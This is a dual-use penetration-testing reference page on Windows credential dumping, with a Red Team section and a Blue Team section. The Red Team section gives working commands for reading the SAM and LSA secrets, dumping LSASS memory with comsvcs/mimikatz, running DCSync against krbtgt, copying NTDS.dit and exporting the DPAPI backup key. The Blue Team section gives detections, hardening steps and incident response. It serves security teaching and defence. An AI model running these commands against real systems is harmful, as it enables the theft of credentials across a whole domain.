Credential Dumping
With administrator or SYSTEM privileges on a machine, the next step is to harvest credentials to move to other machines and escalate in the domain. Windows keeps secrets in several places: the SAM database (local accounts), the LSA Secrets, the domain credential cache, the memory of the LSASS process (active sessions), the DPAPI stores and, on a domain controller, NTDS.dit with the hashes of the whole domain. Each store requires different privileges and yields a different kind of secret, and not all of them are good for the same things.
flowchart TD
A["Admin / SYSTEM<br/>on a machine"] --> S["SAM<br/>local NT hashes"]
A --> L["LSA Secrets<br/>service accounts, machine account"]
A --> C["Domain cache<br/>DCC2 (cracking only)"]
A --> M["LSASS<br/>sessions' hashes, tickets, keys"]
A --> P["DPAPI<br/>browsers, Credential Manager"]
M -->|"a DA's session"| DA["Domain Admin"]
DA --> N["NTDS.dit / DCSync<br/>the whole domain, krbtgt included"]
Threat model
Section titled “Threat model”Windows keeps credentials in memory for single sign-on: while someone has a session, their authentication material is in LSASS. Whoever is SYSTEM can read that memory and the registry hives. The attacker turns “admin on one machine” into “the credentials of everyone who logged on to it”, including domain admins if they passed through.
Anatomy
Section titled “Anatomy”Where each secret lives
Section titled “Where each secret lives”| Store | Location | Contains | You need |
|---|---|---|---|
| SAM | HKLM\SAM (+ SYSTEM for the bootkey) |
NT hashes of local accounts | Local admin |
| LSA Secrets | HKLM\SECURITY |
Service and task passwords, machine account ($MACHINE.ACC), autologon DefaultPassword, the DPAPI_SYSTEM key |
Local admin |
| Domain cache | HKLM\SECURITY\Cache |
DCC2 verifiers for the latest domain users (10 by default) | Local admin |
| LSASS | lsass.exe memory |
NT hashes, AES keys and Kerberos tickets of active sessions; cleartext passwords if WDigest is on | SeDebugPrivilege or SYSTEM |
| DPAPI | User profiles | Browser passwords, Credential Manager, RDP, Wi-Fi | The user’s password, the DPAPI_SYSTEM key or the domain backup key |
| NTDS.dit | C:\Windows\NTDS\ on DCs |
Hashes of every domain account, plus history | Admin on a DC or replication rights |
| AD (attributes) | LDAP | LAPS and gMSA passwords | Read permission on the attribute (ACL) |
What each secret is good for
Section titled “What each secret is good for”| Secret | Pass-the-… | Crack (hashcat) | Notes |
|---|---|---|---|
| NT hash | Pass-the-hash, overpass-the-hash | -m 1000 |
The most useful: works as is |
| Kerberos AES key | Pass-the-key | Usually not needed | Quieter than the NT hash |
| Kerberos ticket | Pass-the-ticket | No | Valid until it expires |
DCC2 ($DCC2$10240#user#…) |
No | -m 2100 (slow) |
Only useful if cracked |
| Net-NTLMv2 (from LLMNR) | No (relay, yes) | -m 5600 |
Not an NT hash |
Protections you’ll run into
Section titled “Protections you’ll run into”- Credential Guard: isolates NT hashes and TGTs in a virtualization-protected process
(
LSAIso.exe). Since Windows 11 22H2 it’s on by default on Enterprise and Education with suitable hardware, and on domain-joined Windows Server 2025 (except DCs). It does not protect the SAM or NTDS.dit. - LSA protection (
RunAsPPL): LSASS as a protected process; a regular process can’t read its memory even as SYSTEM. It’s enabled by default on new installs of Windows 11 22H2 or later that are domain-joined and HVCI-capable. In the registry,RunAsPPL = 1(with UEFI lock) or2(without; only enforced on Windows 11 22H2 or later). - WDigest off by default since Windows 8.1 / Server 2012 R2: no more cleartext passwords in LSASS
unless someone enables
UseLogonCredential.
Variants
Section titled “Variants”| Technique | Where | Noise |
|---|---|---|
| Remote SAM + LSA Secrets | Any machine with local admin | Medium (remote registry, temporary service) |
| Remote LSASS dump (lsassy) | Machines with interesting sessions | High if there’s EDR |
| Local LSASS dump and offline parsing | A machine you have a shell on | High if there’s EDR |
| DCSync | From any machine with replication rights | Low on the network, very visible on the DC (4662) |
Copying NTDS.dit (VSS, ntdsutil) |
A shell on a DC | Medium |
Backup Operators (SeBackupPrivilege) |
Any DC | Medium (copying hives and NTDS.dit) |
| DPAPI | User machines | Low |
Red Team
Section titled “Red Team”SAM, LSA Secrets and cache (remote)
Section titled “SAM, LSA Secrets and cache (remote)”secretsdump.py ./Administrator@10.10.10.21 -hashes :8846f7eaee8fb117ad06bdd830b7586cnxc smb 10.10.10.0/24 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c --local-auth --sam --lsa[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::[*] Dumping cached domain logon information (domain/username:hash)CORP.LOCAL/helpdesk-admin:$DCC2$10240#helpdesk-admin#e4f1…[*] Dumping LSA Secrets[*] $MACHINE.ACCCORP\WS021$:aad3b435b51404eeaad3b435b51404ee:2b4f…[*] _SC_SQLAgentcorp\svc-sql:Summer2019!aad3b435…as the LM hash means empty (LM disabled): what matters is the NT hash._SC_<service>is the cleartext password of the account that service runs as.- The machine account hash (
WS021$) lets you request tickets as the machine (a Silver Ticket towards itself, RBCD…).
Locally, if you’d rather not do it over the network:
reg save HKLM\SAM sam.savereg save HKLM\SYSTEM system.savereg save HKLM\SECURITY security.savesecretsdump.py -sam sam.save -system system.save -security security.save LOCALThis is where the credentials of open sessions are: if a domain admin has a session on the machine, their hash is here.
# Remote: dumps and parses without leaving the file on your machine's disknxc smb 10.10.10.21 -u Administrator -H 8846f7… --local-auth -M lsassyLocally, dumping and parsing can be split:
# Dump with a signed Windows binary (needs SYSTEM or SeDebugPrivilege)rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <lsass_PID> C:\Windows\Temp\l.dmp fullRun it from an elevated PowerShell: in cmd.exe, SeDebugPrivilege is present but disabled and the
dump usually fails.
pypykatz lsa minidump l.dmp # on your machine, offlineWith mimikatz, directly:
privilege::debugsekurlsa::logonpasswords # NT hashes, keys and (with WDigest) passwordssekurlsa::ekeys # Kerberos AES keyssekurlsa::tickets /export # tickets to .kirbi filesDCSync
Section titled “DCSync”With replication rights on the domain (Domain Admins, Enterprise Admins, Administrators, the DCs, or a misdelegated ACL), you ask the DC to replicate secrets to you as if you were another DC, without touching its disk:
secretsdump.py -just-dc-user krbtgt corp.local/admin:'P4ss!'@dc01.corp.localsecretsdump.py -just-dc-ntlm corp.local/admin:'P4ss!'@dc01.corp.local -outputfile corp-ntdsnxc smb dc01.corp.local -u admin -p 'P4ss!' --ntds drsuapi # without an argument it asks first: the dump can crash some DCsThe krbtgt hash lets you forge Golden Tickets (persistence).
NTDS.dit on the DC’s disk
Section titled “NTDS.dit on the DC’s disk”With a shell on the DC, the alternative to DCSync is copying the database and the SYSTEM hive:
ntdsutil "ac i ntds" "ifm" "create full C:\Windows\Temp\ifm" q qsecretsdump.py -ntds ntds.dit -system SYSTEM LOCALIf you’re a member of Backup Operators, SeBackupPrivilege lets you copy protected files and
hives even without being an administrator (privilege abuse).
User secrets (browsers, Credential Manager, saved RDP connections) are encrypted with per-user master keys. They’re decrypted with the user’s password, their NT hash or, for the whole domain, the DPAPI backup key kept by the DCs (which in practice is never rotated):
nxc smb 10.10.10.0/24 -u Administrator -H 8846f7… --local-auth --dpapidpapi.py backupkeys -t corp.local/admin:'P4ss!'@dc01.corp.local --export # domain backup keyResearcher workflow
Section titled “Researcher workflow”- On every new machine: SAM, LSA Secrets and cache (quiet and almost always useful).
- Check who has a session (
nxc smb … --loggedon-users, BloodHoundHasSession) before touching LSASS: dump it only where someone you care about is logged on. - Check the protections (LSA protection, Credential Guard) before attempting the dump.
- With each new secret, decide its use: pass-the-hash, pass-the-key, cracking or nothing.
- With replication rights: DCSync
krbtgtand the accounts you need, not the whole domain unless necessary.
- Impacket
secretsdump.pyanddpapi.py(card). - NetExec:
--sam,--lsa,--ntds,--dpapi,-M lsassy. - mimikatz, pypykatz, lsassy, nanodump for LSASS.
- SharpDPAPI and DonPAPI for DPAPI.
- hashcat (card):
-m 1000(NT),-m 2100(DCC2).
Impact and chaining
Section titled “Impact and chaining”From local admin to credentials reusable on other machines
(lateral movement); from a DC or DCSync, to every account in the
domain, krbtgt included: full and persistent compromise.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- LSASS: Sysmon 10 (ProcessAccess) with
TargetImagelsass.exeand memory-read rights from unusual processes;rundll32 … comsvcs.dll, MiniDumpon the command line; new.dmpfiles (Sysmon 11). - DCSync: 4662 on a DC with the replication GUIDs
1131f6aa-9c07-11d1-f79f-00c04fc2dcd2(Get-Changes) and1131f6ad-9c07-11d1-f79f-00c04fc2dcd2(Get-Changes-All) requested by an account that isn’t a DC. High fidelity. - SAM/SECURITY:
reg saveof those hives (4688 / Sysmon 1); remote registry access. - NTDS.dit:
ntdsutil … ifm, volume shadow copy creation on a DC, reads ofntds.ditoutside system processes. - DPAPI: extraction of the domain backup key: on the DC, 4662 on a
SecretObjectwhose name containsBCKUPKEY, requested by an account that doesn’t administer the DC.
Telemetry and sources
Section titled “Telemetry and sources”Sysmon 1, 10 and 11 on endpoints and servers; Directory Service Access auditing on the DCs (4662); EDR; Microsoft Defender for Identity for DCSync and DPAPI backup key requests.
Hardening
Section titled “Hardening”- Credential Guard and LSA protection (
RunAsPPL) on every compatible machine; the ASR rule Block credential stealing from the Windows local security authority subsystem. - WDigest off (
UseLogonCredential = 0) and an alert if someone changes it. - Tiering model: domain admins don’t log on to lower-tier workstations or servers, so their credentials are never in that memory.
- Protected Users for administrative accounts (credentials aren’t cached, no NTLM or delegation).
- Lower
CachedLogonsCountwhere offline logon isn’t needed. - Replication rights only for the DCs and the administrative groups; review them with BloodHound or PingCastle.
- Windows LAPS for local admin and gMSA for service accounts (no more service passwords in LSA Secrets reused across machines).
- DC backups treated as tier 0.
Response
Section titled “Response”If a DC fell or there was a DCSync: rotate krbtgt twice (with the replication interval in between),
reset privileged and service accounts, rebuild compromised machines and hunt for persistence (Golden
Ticket, ACLs on AdminSDHolder, new accounts). The DPAPI backup key can’t easily be rotated: if it was
exported, the domain’s DPAPI secrets must be treated as exposed.
CVEs and real cases
Section titled “CVEs and real cases”- HiveNightmare / SeriousSAM (CVE-2021-36934, 2021): a wrong ACL on
C:\Windows\System32\configlet unprivileged users read SAM, SYSTEM and SECURITY from volume shadow copies. - Zerologon (CVE-2020-1472, 2020): a cryptographic flaw in Netlogon let you zero out a DC’s machine account password without credentials and, with it, perform DCSync.
- mimikatz (Benjamin Delpy, 2011) made LSASS dumping accessible to anyone and is the reason for much of today’s protection (Credential Guard, LSA protection).
- LSASS dumping and DCSync appear in most documented ransomware intrusions (MITRE T1003.001 and T1003.006).
More on NVD (https://nvd.nist.gov/vuln/search).
Testing checklist
Section titled “Testing checklist”- SAM, LSA Secrets and domain cache from every compromised machine.
- Cleartext service passwords (
_SC_…) and autologonDefaultPassword. - Active sessions identified before touching LSASS.
- Protections checked (LSA protection, Credential Guard, WDigest).
- Hashes and keys sorted by use (PtH, pass-the-key, cracking).
- Replication rights (DCSync) and the Backup Operators route reviewed.
- DPAPI for interesting users and, if relevant, the domain backup key.
- Dump files removed from machines at the end.